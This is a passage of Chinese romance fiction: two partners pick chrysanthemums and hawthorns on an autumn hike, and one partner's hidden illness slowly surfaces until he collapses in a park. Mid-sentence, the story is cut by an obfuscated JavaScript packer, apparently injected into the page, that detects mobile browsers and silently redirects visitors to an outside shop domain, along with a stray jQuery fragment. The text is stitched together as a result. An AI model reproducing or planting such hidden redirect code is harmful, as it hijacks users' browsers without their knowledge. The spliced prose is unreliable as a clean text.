立秋刚过，暑气还未褪尽。苌斓说，趁着秋高气爽，我们去秋游。忘海说好，然后从柜子里翻出两个旧背包，一个深蓝，一个浅蓝，和保温杯的颜色一模一样。苌斓往包里塞了两瓶水、几块红枣糕、一小袋核桃仁——核桃仁是昨天现剥的，用忘海养母留下的那个小玻璃罐装着。忘海趁他不注意，又往自己包里多塞了一条薄围巾——秋天风凉，苌斓容易感冒。
他们坐公交车去城郊的山坡。车窗外的梧桐树开始黄了，叶子边缘卷起一圈焦糖色的镶边。苌斓靠着忘海的肩膀，看着窗外一棵棵梧桐树往后退，说你看那棵树，叶子黄了一半。忘海说再过两周就全黄了，到时候我们再来。苌斓说好。
山坡上的野菊花开得正盛，一小簇一小簇挤在枯草和碎石之间，明黄的花瓣在阳光下闪着细碎的光。苌斓蹲下来摘了一朵，放在掌心里看了很久，说我妈以前也喜欢菊花，她说菊花是秋天的眼睛。忘海在他旁边蹲下，也摘了一朵，把这朵和他那朵并排放在一起。两朵小雏菊，花瓣挨着花瓣，像两个并肩坐着的人。
苌斓又开始摘更多的花。他把菊花茎秆编在一起，手指不太灵巧，编了好几次都散了。忘海坐在旁边的石头上看着他——苌斓的眉头微微皱着，嘴唇抿成一条线，和当年织围巾时织错针脚的表情一模一样。他忽然觉得自己可以就这样坐一整天，什么事都不做，只是看着苌斓编花环。编了拆，拆了编，阳光从枫树叶缝隙里漏下来，落在苌斓手指间那几朵歪歪扭扭的菊花上。那些菊花被他编成了一个圈，虽然歪歪扭扭，但每一朵都朝着同一个方向。
“好了。”苌斓站起来，把花环往忘海头上一戴，退后两步看了看，又上前调整了一下角度，说好看，像秋天的王子。忘海把花环从头上拿下来，戴回苌斓头上，说王子只有一个，不是我。苌斓愣了一下，然后别开脸假装去看远处的枫树，耳根被菊花衬得更红了。他没有把花环拿下来，就那样戴着那个歪歪扭扭的花环继续往前走。
走到半山腰，他们发现了一棵野山楂树。果子小小的，红彤彤的，挂满了枝头。苌斓踮起脚去够，指尖差一点碰到最红的那颗。忘海从他身后伸出手，轻松地把那颗山楂摘下来，放进他掌心里。苌斓把山楂在袖子上蹭了蹭，咬了一口，酸得整张脸皱成一团。他把剩下半个塞进忘海嘴里，说酸不酸。忘海嚼了嚼咽下去，面不改色地说不酸。苌斓说骗人，你明明嘴角在抽。忘海说没有。苌斓又说你就是嘴角在抽。忘海还是说没有。苌斓看着他被酸得微微眯起的眼睛，忽然笑出声来，那双眼睛弯成了两道月牙，笑声从喉咙里滚出来，和秋风缠在一起，漫山遍野地回荡。他笑了很久，久到忘海把他拉进怀里，低头把那个笑容堵在了嘴唇上。野山楂的酸涩在两个人的舌尖化开，慢慢回甘。
午后他们在一片枫树林里休息。枫叶还没有全红，大部分是黄的，边缘晕开一层淡淡的橙红。阳光透过层层叠叠的叶片筛下来，在地上投下细碎晃动的光斑。苌斓靠在树干上，把背包里的红枣糕拿出来分给忘海一半。两个人并肩坐着，谁也不说话，只是安静地看着枫叶一片一片飘下来。有一片落在苌斓膝盖上，他捡起来对着阳光看叶脉的纹路。枫叶的叶脉从叶柄辐射出去，每一道都清晰分明，像一张摊开的地图。
“你看，这片叶子的叶脉。像不像我爸画的配方——每一步都写得清清楚楚，从哪开始，往哪个方向，最后到哪里。”他把枫叶放在膝头，轻轻压平。忘海没有接话，只是在落叶堆里翻翻找找，挑出最完整、颜色最好看的那片枫叶，红得均匀，叶脉根根分明。他把这片放在苌斓手心里，和自己那片并排。两片枫叶，一片苌斓挑的，一片忘海挑的，颜色稍有不同，但叶脉的纹路是一样的——都是从叶柄出发，延伸到每一个边缘的角落。
苌斓看着这两片枫叶，忽然说我小时候最讨厌秋天。养母让我扫院子里的落叶，扫不好不准吃饭。我一边扫，梧桐树一边往下掉叶子，怎么扫都扫不完，急得哭。后来我爸——亲生父亲——找到我之后，他带我去公园，也是秋天，梧桐叶落了一地。他说你不用扫，踩上去沙沙响，这就是秋天的声音。他蹲下来捡起一片叶子放在我手心里，说你听，叶子碎了的声音也是秋天的声音。从那天起我就不讨厌秋天了。
忘海没有说话，只是把苌斓的手握在自己掌心里。他想，那个把秋天还给苌斓的人已经不在了，但现在有人能陪他一起听叶子碎了的声音。
苌斓站起来，把枫叶小心翼翼放进口袋里，和钥匙、零钱、手机放在一起。然后他弯腰捧起一大捧落叶，朝忘海劈头盖脸地扬过去。碎叶子挂在忘海的头发上、眼镜上、围巾上，把他整个人埋成了一个枫叶堆。忘海没有躲，只是伸手把他拉下来，两个人都跌进落叶堆里。枯叶被他们压得沙沙响，碎裂的叶片飞起来，和还在飘落的枫叶混在一起。苌斓躺在落叶堆上，头发里全是碎叶子，忘海的眼镜歪到一边，脸上沾着泥土和草屑。两个人对着看了片刻，然后同时笑出声来。笑声在枫树林里回荡，惊飞了几只藏在枝头的麻雀。苌斓伸手把忘海头发上的一片碎叶子拿掉，说你现在看起来像一棵秋天的树。忘海也伸手把他头发里的叶子一片一片摘出来，说你更像——头发上全是枫叶，鼻子上还有一片。苌斓没有起来，就那样躺在落叶堆上，看着头顶的枫树，说以后每年秋天都来，摘山楂、编花环、捡枫叶、堆落叶。忘海在他旁边躺下来，看着同一棵枫树，说好。
傍晚他们收拾东西准备下山。苌斓站起来时身体晃了一下，手撑在树干上稳了稳，然后若无其事地继续把背包背好。忘海注意到了这个动作，但没有说什么，只是把苌斓手里的背包接过来背在自己肩上，说走吧，下山的路我走前面。苌斓说好，跟在他身后。走了几步，苌斓忽然停下来，说流鼻血了，用手背抹了一下，手背上果然有一道暗红。忘海立刻转身从口袋里掏出纸巾按在他鼻子上，让他头稍微往前倾。苌斓说可能是秋天干燥，没事，上次体检医生也说他有点贫血，多吃点红枣就好了。鼻血很快止住了，他把沾血的纸巾扔进垃圾桶，用湿巾擦了擦手，说走吧，下山。忘海看着他的背影，忽然想起很多年前在天台上，苌斓也是这样轻描淡写地说没事，结果后脑勺缝了好几针。但他没有追问，只是快步跟上去并肩走着。
接下来几天，苌斓开始频繁地说累。在厨房里站着炒菜要中途靠在灶台边休息，绕毛线团绕到一半就靠在沙发上睡着了。忘海问他是不是最近工作太忙，他说可能是换季，每年秋天都这样，春困秋乏。忘海没有再问，只是把他手里的毛线团拿过来自己绕完。苌斓说你怎么什么都会，忘海说活了一百多世总得有点用处，这句对话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724418|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他们在许多个秋天里重复过许多遍。
但忘海心里那根弦又开始绷紧了。他想起很久以前在医院走廊里，医生说“长期营养不良和反复外伤导致免疫力低下，需要长期调养”。那时候苌斓刚从养父母手里逃出来，身上全是新旧交叠的伤。后来调养了这么多年，身体慢慢好了起来，脸颊有了血色，胳膊上有了肌肉，冬天不再咳嗽，春天不再过敏。但那些年落下的旧伤——被锁在门外冻坏的关节，被拳头砸过的肋骨，被皮带抽过的背，那些看不见的裂缝还在。他不知道这些裂缝会在什么时候重新裂开。
深秋，他们去超市买东西。苌斓推着购物车，走在前面，和很久以前父亲推购物车时一样。只是这一次没有人给他拿薯片，没有人用指甲在小票上画痕迹。他走了几步，停下来，说腿有点酸。忘海接过购物车，说我来推，你扶着我就好。苌斓把手搭在他胳膊上，手指轻轻攥着他的袖子，和多年前在路□□换围巾时一模一样。
“以前我爸推购物车，车轴歪向左边，每推几步就要往右拨一下。那时候我跟在他后面，看着他手指上的戒指在灯光下反光。现在是我推购物车了。我爸推车的时候在想什么——想奶茶要放多少红糖，想忘海那杯少放糖，想小票上的东西是不是都买齐了。他那时候有没有觉得累。”苌斓的声音很轻，像是在自言自语。
忘海握紧他搭在自己胳膊上的手，说“他不会觉得累。他等了很久才等到你，和你一起推购物车的时候不会觉得累。他只是觉得时间太短了。”
苌斓没有说话，只是把手从忘海的胳膊上滑下来，扣进他的指缝里。两个人的无名指上都戴着戒指——苌斓戴的是父亲的旧戒指，忘海戴的是养父的旧戒指。两枚戒指在超市的白炽灯下轻轻碰在一起，发出极细微的声响，像秋天落叶落在窗台上。
又过了一阵子，苌斓在书店整理书架时忽然一阵眩晕，扶住书架才没有摔倒。同事问他怎么了，他说可能低血糖，从口袋里掏出一颗奶糖剥开放进嘴里。后来他开始流鼻血，比以前更频繁，有时候早上醒来枕头上有一两点暗红色的血迹。他总是趁忘海不注意时把枕套换下来洗干净，晾在阳台上，和围巾并排挂在同一个位置。他早上磨豆浆时会突然停下来扶着料理台站好一会儿，等那阵眩晕过去。他没有告诉忘海，只是在每一次忘海问“今天累不累”时，笑着说还行。他学会了把疲惫藏进毛衣袖子里，就像当年把淤青藏进长袖校服里一样。
后来是昏迷。
那天他们在公园散步，梧桐叶落了厚厚一层，踩上去沙沙响。苌斓走在忘海旁边，走了几步，忽然停下来。他说有点晕，然后膝盖一软，整个人往旁边歪过去。忘海一把扶住他，把他抱到路边的长椅上。苌斓的头靠在他肩上，眼睛闭着，睫毛轻轻颤动。头顶梧桐叶还在落，一片一片，落在他们肩头、膝盖上，他轻轻拍他的脸喊他的名字，一声一声，每一声都像在喊一个不能失去的人。过了很久苌斓才慢慢睁开眼睛，看着忘海焦急的脸，说对不起，最近太累了。
“不是累。”忘海握着他的手，声音在发抖，和很久以前在天台上按住他流血的伤口时一模一样，“我们去医院。”
苌斓没有说话，只是把头靠回忘海肩上。梧桐叶还在落。他没有反驳，因为他知道这一次忘海不会再让他蒙混过关。